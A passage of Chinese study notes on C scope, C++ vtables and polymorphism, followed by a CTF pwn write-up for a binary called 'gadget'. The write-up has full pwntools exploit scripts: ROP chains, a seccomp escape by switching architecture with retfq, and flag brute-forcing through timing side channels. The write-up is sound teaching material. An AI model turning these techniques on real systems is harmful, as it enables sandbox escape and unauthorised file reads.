从“int func1(void)”开始到文件结束,都是“func1”的文本作用域,所以要在“main”前写入“int func1(void);”,使其在作用域中

​ // 函数定义的“int func1(void)”也有声明的功效,为 定义声明 ,而其他的都是 引用声明

参考:C语言中的文件作用域、函数原型声明、定义声明和非定义声明

原型作用域简析

函数原型作用域只对于函数原型声明的形式参数有意义(其它变量声明之类都在块作用域)

其作用域始于“(”,结束于“)”

1
2
double Area(double radius); // radius 就只有在括号中才有效
// 如果后面没有跟“ ; ”,而是跟了“ {} ”,那么就不是函数声明,而是函数定义了,radius在后续的代码块中也可以发挥作用

函数原型: 即函数声明,给出了函数名、返回值类型、参数列表(重点是参数类型)等与该函数有关的信息

作用域的层级关系

每个C语言程序都包含了多个作用域,不同的作用域中可以出现同名的变量,C语言会按照从小到大的顺序,一层一层地去父级作用域中查找变量,如果在最顶层的全局作用域中还未找到这个变量,那么就会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
int m = 13;
int n = 10;
void func1(){
int n = 20;
{
int n = 822;
printf("block1 n: %d\n", n);
}
printf("func1 n: %d\n", n);
}
void func2(int n){
for(int i=0; i<10; i++){
if(i % 5 == 0){
printf("if m: %d\n", m);
}else{
int n = i % 4;
if(n<2 && n>0){
printf("else m: %d\n", m);
}
}
}
printf("func2 n: %d\n", n);
}
void func3(){
printf("func3 n: %d\n", n);
}
int main(){
int n = 30;
func1();
func2(n);
func3();
printf("main n: %d\n", n);

return 0;
}

C语言-存储类说明符

C语言的存储类说明符有以下几个:

  • Auto:只在 块内 变量声明中被允许, 表示变量具有本地生存期
  • Extern:出现在 顶层块的外部 的变量函数与变量声明中,表示声明的对象具有静态生存期, 连接程序知道其名字
  • Static:可以放在 函数与变量声明中 ,在函数定义时,只用于指定函数名,而不将函数导出到链接程序,在函数声明中,表示其后边会有定义声明的函数,存储类型static,在数据声明中,总是表示定义的声明不导出到连接程序

C99中规定:所有顶层的默认存储类标志符都是extern

在C语言中一个人为的规范:

1
在.h文件中声明的函数,如果在其对应的.c文件中有定义,那么我们在声明这个函数时,不使用extern修饰符,反之,则必须显示使用extern修饰符

C语言-定义声明&引用声明

定义声明:在声明后,立即进行定义或初始化(如:“ fun( int a ){ } ”,“ int a = 1 ”)

引用声明:其他的声明都是引用声明

​ // 这个只是“初始化语句模型”中的定义方式(为了方便理解)

为了区分定义声明和引用声明,C语言定义了几种模型:

  • 初始化语句模型:顶层声明中,如果存在初始化语句,表示这个声明是定义声明,其他声明是引用声明
  • 省略存储类型模型:所有引用声明要显示的包括存储类extern,而唯一的那个定义声明中,省略存储类说明符

在声明定义时,定义数组如下:

1
int G_glob[100];

在另一个文件中引用声明如下:

1
int * G_glob;

C语言 -“.h” 文件的作用

在一个C语言程序中有千千万万个函数(例如:“printf”,“read”……),为了它们的正常使用(文件作用域可以包含其“作用点”),需要事先写明函数声明

这些函数声明并没有写入“.c”文件中,而是写入了“.h”文件中

另外,全局变量也可以写在“.h”文件中,不同的“.h”文件可以写入相同名称的全局变量

参考: C语言中的.h文件的作用

C语言-位域

有些信息在存储时,并不需要占用一个完整的字节,而只需占几个或一个二进制位

所谓 “位域” 是把一个字节中的二进位划分为几个不同的区域,并说明每个区域的位数

1
2
3
4
5
6
7
struct bs 
{
int a:8;
int b:2;
int c:6;
// 位域名:位域长度
}data;

说明data为bs变量,a占8位,b占2位,c占6位,共占两个字节(这里假定int类型长度为16位,2字节,通常int都是32位,4字节)

1.一个位域必须存储在同一个单元中,不能跨两个单元,如一个单元所剩空间不够存放另一位域时,应从下一单元起存放该位域

2.可以人为控制“启用&关闭”位域

1
2
3
4
5
6
7
8
struct as 
{
unsigned a:4
unsigned :0
unsigned b:4
unsigned c:4
};
// a占第一字节的4位,后4位填0表示不使用

3.位域可以无位域名,这时它只用来作填充或调整位置

1
2
3
4
5
6
7
struct bs
{
int a:1
int :2
int b:3
int c:2
};

Cpp-多态&虚函数

虚函数对于多态具有决定性的作用,有虚函数才能构成多态

先看一下案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include<stdio.h>
#include<string.h>

class Shape
{
protected:
int width,height;
public:
Shape(int a=0,int b=0){
width = a;
height = b;
}
virtual int area(){
printf("Shape class area: ");
return printf("%d\n",0);
}
virtual void sayHello(){
printf("Shape\n");
}
void bar(){
printf("bar fun width:%d\n",width);
}
};

class Rectangle:public Shape
{
public:
Rectangle(int a=0,int b=0):Shape(a,b){}
int area(){
printf("Rectangle class area: ");
return printf("%d\n",width*height);
}
void sayHello(){
printf("Rectangle\n");
}
virtual void fun1(){
printf("fun1\n");
}
};

class Triangle:public Shape
{
public:
Triangle(int a=0,int b=0):Shape(a,b){}
int area(){
printf("Triangle class area: ");
return printf("%d\n",width*height/2);
}
//void sayHello(){
// printf("Triangle\n");
//}
virtual void fun2(){
printf("fun2\n");
}
};

void test(Shape* shape){
shape->bar();
shape->area();
shape->sayHello();
}

int main(){
Shape* shape = new Rectangle(3,4);
test(shape);
delete shape;

shape = new Triangle(3,4);
test(shape);
delete shape;

shape = new Shape(3,4);
test(shape);
delete shape;
}

  • 定义了一个 Shape 类,Rectangle 类和 Triangle 类都继承 Shape 类
  • 在 Shape 类中:area 和 sayHello 都是虚函数(用 virtual 进行修饰)

结果:

1
2
3
4
5
6
7
8
9
10
11
exp g++ test.cpp -o test -g -no-pie
exp ./test
bar fun width:3
Rectangle class area: 12
Rectangle
bar fun width:3
Triangle class area: 6
Shape /* Triangle中没有覆写sayHello,所以还是执行父类的sayHello */
bar fun width:3
Shape class area: 0
Shape
  • 虚函数可以被子类覆写(名称&格式必须相同),调用时优先调用自己的虚函数

这就是多态,使用虚函数使子类可以覆写父类,提高了函数的灵活性

Cpp-动态绑定

一般情况下,在编译期间(包括链接期间)就能完成符号决议(为符号绑定相应的地址),不用等到程序执行时再进行额外的操作,这称为静态绑定,如果编译期间不能完成符号决议,就必须在程序执行期间完成,这称为动态绑定

  • 非虚成员函数属于静态绑定:编译器在编译期间,根据指针(或对象)的类型完成了绑定
  • 调用虚函数时,就会发生动态绑定,所谓动态绑定,就是在运行时,虚函数会 根据绑定对象的实际类型,选择调用函数的版本(因为 cpp 的多态机制,我们无法在编辑阶段完成符号决议,因为不清楚该虚函数是A类,B类,还是C类)
    • 例如:我们不清楚符号 area 会绑定 Shape 中的代码地址,还是 Triangle 中的代码地址,或者是 Rectangle 中的代码地址

如果一个类包含了虚函数,那么在创建对象时会额外增加一张表,表中的每一项都是虚函数的入口地址,这张表就是虚函数表,也称为 vtable

可以认为虚函数表是一个数组,为了把对象和虚函数表关联起来,编译器会在对象中安插一个指针,指向虚函数表的起始位置,这个指针就是 VPTR 指针(在以后的 pwn 中会遇到)

Cpp-虚表

为了实现 C++ 的多态,C++ 使用了一种动态绑定的技术,这个技术的核心是虚函数表

  • 每个包含了虚函数的类都包含一个虚表

我们知道,当一个类(A)继承另一个类(B)时,类A会继承类B的函数的调用权,所以如果一个基类包含了虚函数,那么其继承类也可调用这些虚函数,换句话说,一个类继承了包含虚函数的基类,那么这个类也拥有自己的虚表

我们来看以下的代码:(紧接上面的例子)

1
2
3
4
printf("ShapeP :%ld\n",sizeof(ShapeP)); /* ShapeP就是去掉虚函数的Shape */
printf("Shape :%ld\n",sizeof(Shape));
printf("Rectangle: %ld\n",sizeof(Rectangle));
printf("Triangle: %ld\n",sizeof(Triangle));
  • Shape,Rectangle,Triangle,都应该有虚表
  • ShapeP 应该没有虚表
1
2
3
4
ShapeP :8
Shape :16
Rectangle: 16
Triangle: 16
  • 很明显,编译器多分配了8字节,用于存储虚表头指针

内存布局如下:

  • Shape:定义了虚函数 area,sayHello
  • Rectangle:覆写了虚函数 area,sayHello,定义了虚函数 fun1
  • Triangle:覆写了虚函数 area,继承了虚函数 sayHello,定义了虚函数 fun2

我们可以用另一种方式进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include<stdio.h>
#include<string.h>

class Shape
{
protected:
int width,height;
public:
Shape(int a=0,int b=0){
width = a;
height = b;
}
virtual int area(){
printf("Shape class area: ");
return printf("%d\n",0);
}
virtual void sayHello(){
printf("Shape\n");
}
void bar(){
printf("bar fun width:%d\n",width);
}
};

class Rectangle:public Shape
{
public:
Rectangle(int a=0,int b=0):Shape(a,b){}
int area(){
printf("Rectangle class area: ");
return printf("%d\n",width*height);
}
void sayHello(){
printf("Rectangle\n");
}
virtual void fun1(){
printf("fun1\n");
}
};

class Triangle:public Shape
{
public:
Triangle(int a=0,int b=0):Shape(a,b){}
int area(){
printf("Triangle class area: ");
return printf("%d\n",width*height/2);
}
//void sayHello(){
// printf("Triangle\n");
//}
virtual void fun2(){
printf("fun2\n");
}
};

void test(Shape* shape){
shape->bar();
shape->area();
shape->sayHello();
}

void test2(Shape* shape){
typedef void (*BAR_FUN)(void*);
typedef int (*AREA_FUN)(void*);
typedef void (*SAYHELLO_FUN)(void*);
typedef void* (ADRESS);

/* bar不是虚函数,直接赋值函数指针 */
BAR_FUN bar_fun = (BAR_FUN)(&Shape::bar);

/* 获取vtable地址 */
ADRESS *vtable_addr = *((ADRESS**)(shape));

/* 通过vtable赋值函数指针 */
AREA_FUN area_fun = (AREA_FUN)(*vtable_addr);
SAYHELLO_FUN sayhello_fun = (SAYHELLO_FUN)*(vtable_addr+1);

/* 通过函数指针执行虚表函数 */
bar_fun((void*)shape);
area_fun((void*)shape);
sayhello_fun((void*)shape);
}

int main(){
Shape* shape = new Rectangle(3,4);
printf("\n------\n");
test(shape);
test2(shape);
printf("------\n\n");
delete shape;

shape = new Triangle(3,4);
printf("\n------\n");
test(shape);
test2(shape);
printf("------\n\n");
delete shape;

shape = new Shape(3,4);
printf("\n------\n");
test(shape);
test2(shape);
printf("------\n\n");
delete shape;
}
  • test2 和 test 完全不同
  • test2 没有采用 cpp 规定的形式来调用虚表函数,而是利用函数指针来调用它们

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
exp g++ test.cpp -o test -g -no-pie
exp ./test

------
bar fun width:3
Rectangle class area: 12
Rectangle
bar fun width:3
Rectangle class area: 12
Rectangle
------


------
bar fun width:3
Triangle class area: 6
Shape
bar fun width:3
Triangle class area: 6
Shape
------


------
bar fun width:3
Shape class area: 0
Shape
bar fun width:3
Shape class area: 0
Shape
------
  • 可以正常执行,test 和 test2 没有任何差别

Gadget 复现

1
2
3
4
5
6
gadget: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位,statically,开了NX

1
2
3
4
5
6
7
8
9
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW

白名单:fstat,read,alarm

入侵分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rcx
int v5; // er8
int v6; // er9
char input[44]; // [rsp+10h] [rbp-30h] BYREF
int v10; // [rsp+3Ch] [rbp-4h]

v10 = 0;
alarm_sys(48LL, argv, envp);
install_seccomp(48LL, (__int64)argv, v3, v4, v5, v6);
read_sys(input);
return (int)&locret_401002;
}
1
2
3
4
5
6
void __fastcall read_sys(char *a1)
{
signed __int64 v1; // rax

v1 = sys_read(0, a1, 0xC0uLL); // 输入“0xC0”字节
}

有栈溢出,但是开了沙盒,只允许 fstat,read,alarm 函数被调用

这里可以使用一种名为:沙盒逃逸的技术,因为每个架构的系统调用号不同,如果能够更改架构,就能绕过沙盒的限制,要实现这点需要3个条件:

  • 第一个对 arch 没有检查
  • 第二个需要对特定的系统调用号没有禁用,比如 Linux 的 32 位 execve 的系统调用号是 11,64 位的系统调用号是 59,如果更改 64 位为 32 位就需要没有禁用 32 位 execve 的系统调用号 11,反之更改 32 位为 64 位则需要没有禁用 64 位的 execve 系统调用号 59
  • 第三需要能够使用 sys_mmap 或 sys_mprotect,因为如果要改变 arch 一般找不到合适的 gadget 使用,所以需要使用 shellcode,而使用 shellcode 需要有一块可写可执行的内存,而这块内存可以使用 sys_mmap 或 sys_mprotect 来获取
1
2
3
4
5
6
/* 64位 */
#define __NR_read 0
#define __NR_fstat 5
#define __NR_alarm 37
/* 32位 */
#define __NR_open 5

可以使用 32 位的 open 打开文件,然后回到 64 位把 flag 读出来

  • 修改程序运行模式需要用到 retfq/retf 这个指令
  • 这个指令有两步操作:pop ip;pop cs(retf 是32位的 pop,retfq 是64位的 pop)
    • cs=0x23 程序以32位模式运行
    • cs=0x33 程序以64位模式运行

现代的 CS 寄存器中用于存放数据段选择子(Code-Segment Descriptors),如下为其格式:

1653983725684

  • 选择子的 D 标志位,它用以区分程序应该运行在32位还是64位架构上

使用 ropper 把 gadget 提取出来:

1
2
3
4
5
➜  Gadget time ropper --file ./gadget --nocolor > g1 
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
ropper --file ./gadget --nocolor > g1 0.30s user 0.34s system 103% cpu 0.620 total

思路1:控制 read 输入任意大小的字节,利用汇编代码CMP单字节爆破 flag(非预期)

因为程序自带的 read 只能输入“0xC0”字节,可能写不完 ROP 链,所以我们的第一个目标就是构造一个 read,向一片固定区域写入 ROP 链

程序开了 ASLR,没有开 PIE,最好在 bss 段上进行 ROP,所以要进行栈迁移,接下来就是寻找合适的 gadget 了,接下来谈一谈我找寻 gadget 的思路:

  • 执行 read 系统调用,需要控制 rax,rdi,rsi,rdx,所以我们先找一找直接 pop 这些寄存器代码(必须要带有 ret)
1
2
3
4
5
0x0000000000401001: pop rax; ret; 
0x0000000000401734: pop rdi; pop rbp; ret;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;
0x00000000004079db: pop rdx; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0xfdbf;
0x0000000000408865: syscall; ret;
  • 程序往往不会直接提供它们的 pop(尤其是 rdx),在控制这些寄存器的同时,往往会改变一下其他的数据,产生“代价”(副作用)
  • 比如:pop rdx 产生的“代价”为“ret 0xfdbf”,中断了我们的 ROP 链,接下来就要考虑通过 mov 来间接获取 rdx(必须有 ret,尽量不改变 rax,rdi,rsi,没有 syscall,有 call 可以酌情考虑)
1
0x0000000000402c05: mov esi, edi; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret; 
  • 这条指令虽然有 call r14,但是 r14 是可以控制的,可以将其修改为 syscall 完成最后的收尾,很容易就可以找到控制 r14 的指令,随便找到控制 r12 的指令(间接控制 rdx)
1
2
0x0000000000401731: pop r14; pop r15; pop rbp; ret; 
0x000000000040172f: pop r12; pop r14; pop r15; pop rbp; ret;
  • 接下来用同样的方式控制 rsp
1
0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret; 

最后进行组合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bss_addr = elf.bss()+0x400
pop_rax_ret = 0x0000000000401001
pop_rdi_pop_rbp_ret = 0x0000000000401734
pop_rsi_pop_r15_pop_rbp_ret = 0x0000000000401732
syscall_ret = 0x0000000000408865
mov_rdx_r12_call_r14 = 0x0000000000402c05+2
pop_r14_pop_r15_pop_rbp_ret = 0x0000000000401731
pop_r12_pop_r14_pop_r15_pop_rbp_ret=0x000000000040172f
pop_rsp_ret = 0x0000000000409d1c

payload = "a"*0x30 + "b"*0x8
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_pop_rbp_ret) + p64(0) + p64(0)
payload += p64(pop_rsi_pop_r15_pop_rbp_ret) + p64(bss_addr) + p64(0) + p64(0)
payload += p64(pop_r14_pop_r15_pop_rbp_ret) + p64(syscall_ret) + p64(0) +p64(0)
payload += p64(pop_r12_pop_r14_pop_r15_pop_rbp_ret) + p64(0x100) + p64(0) + p64(0) + p64(0)
payload += p64(mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr+0x8)

print("payload >> "+hex(len(payload)))

很可惜超过“0xC0”的范围了,最终我采用了别人组好的 ROP 链:

1
2
3
4
5
6
7
8
9
10
11
12
bss_addr = elf.bss()+0x400
pop_rax_ret = 0x401001
pop_rdi_rbp_ret = 0x401734
pop_r12_r14_r15_rbp_ret = 0x40172f
syscall_pop_rbp_ret = 0x401165
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04
pop_rsp_ret = 0x409d1c

payload = b'\x00'*0x38
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_rbp_ret) + p64(0)*2
payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
  • 大佬使用了一个巧妙的指令拆分:把 “mov esi, edi” 变为 “mov rsi, r15”
1
2
3
4
pwndbg> telescope 0x402c05
00:00000x402c05 (libc_start_main_stage2+30) ◂— mov esi, edi
pwndbg> telescope 0x402c04
00:00000x402c04 (libc_start_main_stage2+29) ◂— mov rsi, r15

现在简述一下方案的可行性:

CMP结果 ZF CF
目的操作数 < 源操作数 0 1
目的操作数 > 源操作数 0 0
目的操作数 = 源操作数 1 0
  • 如果“目的操作数”从 ASCII 的最小值开始增加,其实就只有两种情况:
    • 目的操作数 < 源操作数,ZF=0
    • 目的操作数 = 源操作数,ZF=1

大佬选择的 gadget 为:

1
0x0000000000408266: cmp byte ptr [rax - 0x46], cl; push rbp; ret 0x5069; 
  • 一般出现 ret 0x5069 都是因为 ropper 识别出错(就可以把它认为是一个 ret)
  • push 后直接 ret,控制了 rbp 就等同于控制了 rip

为了区分 “ZF=0” 和 “ZF=1”,我们需要汇编指令:je / jne

助记符 说明 标志位/寄存器
je 相等时跳转 ZF=1
jne 不相等时跳转 ZF=0

为了把这种微小的差别映射到用户端,需要一些特殊的措施

先看看下面这一组很有意思的代码:

1
2
00:0000│ rbp 0x405831 (__lctrans_impl+173) ◂— jne    0x405837
00:00000x405837 (__lctrans_impl+179) ◂— jmp 0x405837
  • jne 跳转到 0x405837,然后 jmp 跳转它自己,造成循环
  • 反应到用户端中,就是程序卡顿

我们可以利用这个性质,用 “recv(timeout = 1)” 接收报错信息,如果在1秒钟内没有接受到,就证明了程序陷入了循环,从而证明了 “ZF=0”,最终证明了 “目的操作数 < 源操作数”

  • 如果:目的操作数 = 源操作数(ZF=1),程序会报错
  • 如果:目的操作数 < 源操作数(ZF=0),程序会陷入循环

完整exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(os = "linux", arch = "amd64")
#context(log_level = 'debug')
elf = ELF("./gadget")
possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}"

bss_addr = elf.bss() + 0x500
pop_rax_ret = 0x401001
pop_rbx_r14_r15_rbp_ret = 0x403072
pop_rcx_ret = 0x40117b
pop_rdi_rbp_ret = 0x401734
pop_rdi_jmp_rax = 0x402be4
pop_rsi_r15_rbp_ret = 0x401732
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04
pop_r12_r14_r15_rbp_ret = 0x40172f
pop_rsp_ret = 0x409d1c
pop_rbp_ret = 0x401102
syscall_pop_rbp_ret = 0x401165
int_0x80_ret = 0x4011f3
retf_ret = 0x4011ed
cmp_push_rbp_ret = 0x408266
jnz_loop = 0x405831
loop = 0x405837

def pwn(index, char):
payload = b'\x00'*0x38
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_rbp_ret) + p64(0)*2
payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
io.send(payload.ljust(0xC0, b'\x00'))
sleep(0.1)
payload = b'./flag\x00\x00' + p64(pop_rax_ret) + p64(5)
payload += p64(pop_rbx_r14_r15_rbp_ret) + p64(bss_addr) + p64(0)*3
payload += p64(pop_rcx_ret) + p64(0)
payload += p64(retf_ret) + p32(int_0x80_ret) + p32(0x23)
payload += p32(retf_ret) + p32(pop_rax_ret) + p32(0x33) + p64(0)
payload += p64(pop_rdi_rbp_ret) + p64(3) + p64(0)
payload += p64(pop_rsi_r15_rbp_ret) + p64(bss_addr + 0x200) + p64(0)*2 + p64(syscall_pop_rbp_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(bss_addr + 0x200 + 0x46 + index)
payload += p64(pop_rcx_ret) + p64(char)
payload += p64(pop_rbp_ret) + p64(jnz_loop)
payload += p64(cmp_push_rbp_ret)
io.send(payload)

if __name__ == '__main__':
pos = 0
flag = ""
while True:
for i in possible_list :
io = process('./gadget')
pwn(pos, ord(i))
try:
io.recv(timeout = 0.5)
io.close()
except:
flag += i
print(flag)
io.close()
break
if i == '}' :
break
pos = pos + 1
success(flag)

1654089820944

思路2:分多段控制 sys_read,利用汇编代码CMP单字节爆破 flag(非预期)

首先还是要进行栈迁移,但这次不采用 syscall,而是直接使用程序中已有的 void read_sys(char a1):(只需要改变 a1 就可以了)

  • 这样操作的话就不需要 pop rdx 了
  • 但是必须分多次执行 read_sys(弥补长度不够的限制)

首先还是进行栈迁移,但这次我们采用 setcontext 中的万能模板(堆上ORW也会用到)

1
2
3
4
5
6
7
0x40172a <install_seccomp+1274>        lea    rsp, [rbp - 0x20]
0x40172e <install_seccomp+1278> pop rbx
0x40172f <install_seccomp+1279> pop r12
0x401731 <install_seccomp+1281> pop r14
0x401733 <install_seccomp+1283> pop r15
0x401735 <install_seccomp+1285> pop rbp
0x401736 <install_seccomp+1286> ret

第一段 ROP 链为:

1
2
3
4
5
6
7
flag_addr=elf.bss()+0x200
ROP_addr=elf.bss()+0x400

payload="a"*0x38+p64(pop_rdi_pop_rbp_ret)+p64(ROP_addr)+p64(0)+p64(read_addr)
payload+=p64(pop_rbp_ret)+p64(ROP_addr+0x20-0x28+0x8)+p64(lea_rsp_pop_0x28)

p.send(payload.ljust(0xc0,'a'))
  • flag_addr+0x20:为了规避 [rbp - 0x20] 的影响
  • flag_addr-0x28:避免 pop 0x28 的影响
  • flag_addr+0x8:跳过下面的的 “flag”.ljust(8,”\x00”)

接下来我们就要切换“32”位执行 open,然后换回“64”位继续调用 sys_read

第二段 ROP 链为:

1
2
3
4
5
6
7
8
payload2="./flag".ljust(8,"\x00")
payload2+=p64(retfq)+p64(pop_rbx_pop_r14_pop_r15_pop_rbp_ret)+p64(0x23)
payload2+=p32(ROP_addr)+p32(0)*3+p32(pop_rcx_ret)+p32(0)
payload2+=p32(pop_rax_ret)+p32(5)+p32(int_0x80_ret)
payload2+=p32(retfq)+p32(pop_rdi_pop_rbp_ret)+p32(0x33)
payload2+=p64(ROP_addr+len(payload2)+24)+p64(0)+p64(read_addr)

p.send(payload2.ljust(0xc0,'\x00'))
  • 注意:调用 sys_read 对其参数进行了调整

接着就是执行 read,然后使用如下一段 gadget 来进行“对比”:

1
2
00:00000x408f72 (close_file+117) ◂— cmp    rax, qword ptr [r15 + 0x38]
01:00080x408f7a (close_file+125) ◂— int 0xb9

第三段 ROP 链为:

1
2
3
4
5
6
7
8
9
10
11
12
f=''
c=len(f)
caddr=flag_addr+c

payload3=p64(pop_rdi_pop_rbp_ret)+p64(3)+p64(0)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(flag_addr)+p64(0)*2
payload3+=p64(pop_rax_ret)+p64(0)+p64(syscall_ret)
payload3+=p64(pop_rdi_pop_rbp_ret)+p64(caddr+1)+p64(0)+p64(read_addr)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(0)+p64(caddr-0x38)+p64(0)
payload3+=p64(pop_rax_ret)+p64(guess)+p64(cmpa)

p.send(payload3.ljust(0xc0,'\x00'))
  • guess:猜测的字符

总体的逻辑和“思路1”类似,只是栈迁移和最后的 cmp gadget 使用的不一样,实际上 GDB 跟进时是这样的:

1
2
3
0x408f72 <close_file+117>    cmp    rax, qword ptr [r15 + 0x38]
0x408f76 <close_file+121> mov eax, 0xcd2cfca4
0x408f7b <close_file+126> mov ecx, 0xdf6f8009
  • 如果:目的操作数 < 源操作数(ZF=0),程序会报错
  • 如果:目的操作数 = 源操作数(ZF=1),程序会陷入循环

最后还有一个值得注意的地方:

  • cmp rax, qword ptr [r15 + 0x38] 的对比的大小为 qword,而我们希望一次性只对比单个字节,
  • 所以需要再调用一次 sys_read 把除了“第一字节”以外的其他字节置空

第四段 ROP 链为:

1
2
payload4='\x00'*0xf+p64(0)
p.send(payload4)

完整exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

elf = ELF("./gadget")

read_addr=0x401170
retfq=0x4011EC
int_0x80_ret=0x4011F3
syscall_ret=0x408865
pop_rax_ret=0x401001
pop_rbp_ret=0x401102
pop_rbx_pop_r14_pop_r15_pop_rbp_ret=0x403072
pop_rcx_ret=0x40117b
pop_rdi_pop_rbp_ret=0x401734
pop_rsi_pop_r15_pop_rbp_ret=0x401732
flag_addr=elf.bss()+0x200
ROP_addr=elf.bss()+0x400
lea_rsp_pop_0x28=0x40172A
cmpa=0x408F72

possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}"

f=''
c=len(f)
if_ok=False

while(not if_ok):
caddr=flag_addr+c
for guess in possible_list:
p=process('./gadget')
#gdb.attach(p)
payload="a"*0x38+p64(pop_rdi_pop_rbp_ret)
payload+=p64(ROP_addr)+p64(0)+p64(read_addr)
payload+=p64(pop_rbp_ret)+p64(ROP_addr+0x20-0x28+0x8)+p64(lea_rsp_pop_0x28)
#print(hex(len(payload)))
p.send(payload.ljust(0xc0,'a'))

payload2="./flag".ljust(8,"\x00")
payload2+=p64(retfq)+p64(pop_rbx_pop_r14_pop_r15_pop_rbp_ret)+p64(0x23)
payload2+=p32(ROP_addr)+p32(0)*3+p32(pop_rcx_ret)+p32(0)
payload2+=p32(pop_rax_ret)+p32(5)+p32(int_0x80_ret)
payload2+=p32(retfq)+p32(pop_rdi_pop_rbp_ret)+p32(0x33)
payload2+=p64(ROP_addr+len(payload2)+24)+p64(0)+p64(read_addr)
#print(hex(len(payload2)))
p.send(payload2.ljust(0xc0,'\x00'))

payload3=p64(pop_rdi_pop_rbp_ret)+p64(3)+p64(0)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(flag_addr)+p64(0)*2
payload3+=p64(pop_rax_ret)+p64(0)+p64(syscall_ret)
payload3+=p64(pop_rdi_pop_rbp_ret)+p64(caddr+1)+p64(0)+p64(read_addr)
payload3+=p64(pop_rsi_pop_r15_pop_rbp_ret)+p64(0)+p64(caddr-0x38)+p64(0)
payload3+=p64(pop_rax_ret)+p64(ord(guess))+p64(cmpa)
#print(hex(len(payload3)))
p.send(payload3.ljust(0xc0,'\x00'))

payload4='\x00'*0xf+p64(0)
p.send(payload4)

#pause()

try:
p.send('ok')
p.recv(timeout=0.5)
f+=guess
print(f)
if(guess=="}"):
if_ok=True
break
p.close()
break
except:
p.close()
c=c+1

print(f)
p.interactive()

思路3:ORA 侧信道攻击(预期)

“思路3”和“思路2”相似,只是最后“获取flag”的思路有所不同,核心利用如下:

1
2
3
4
5
.text:000000000040115D                 mov     eax, 25h
.text:0000000000401162 mov edi, [rbp-8] ; seconds
.text:0000000000401165 syscall ; LINUX - sys_alarm
.text:0000000000401167 pop rbp
.text:0000000000401168 retn
  • 可以发现:alarm 会把 [rbp-8] 中的值装入 edi 中,作为关闭进程的时间
  • 所以只要控制 rbp,把单字节的 flag 作为 sys_alarm 的参数,然后记录系统关闭的时间,对比一下就可以计算出 flag

现在,利用的关键就在于:如何及时知晓系统关闭的时间?

  • 这里我们可以参考“思路1”,“思路2”:使程序陷入循环
1
2
00:00000x4011c5 (func+21) ◂— push   rsi
00:00000x4011c6 (func+22) ◂— ret
1
2
3
4
5
00:00000x401732 (install_seccomp+1282) ◂— pop    rsi
00:00000x401733 (install_seccomp+1283) ◂— pop r15
00:00000x401734 (install_seccomp+1284) ◂— pop rdi
00:00000x401735 (install_seccomp+1285) ◂— pop rbp
00:00000x401736 (install_seccomp+1286) ◂— ret
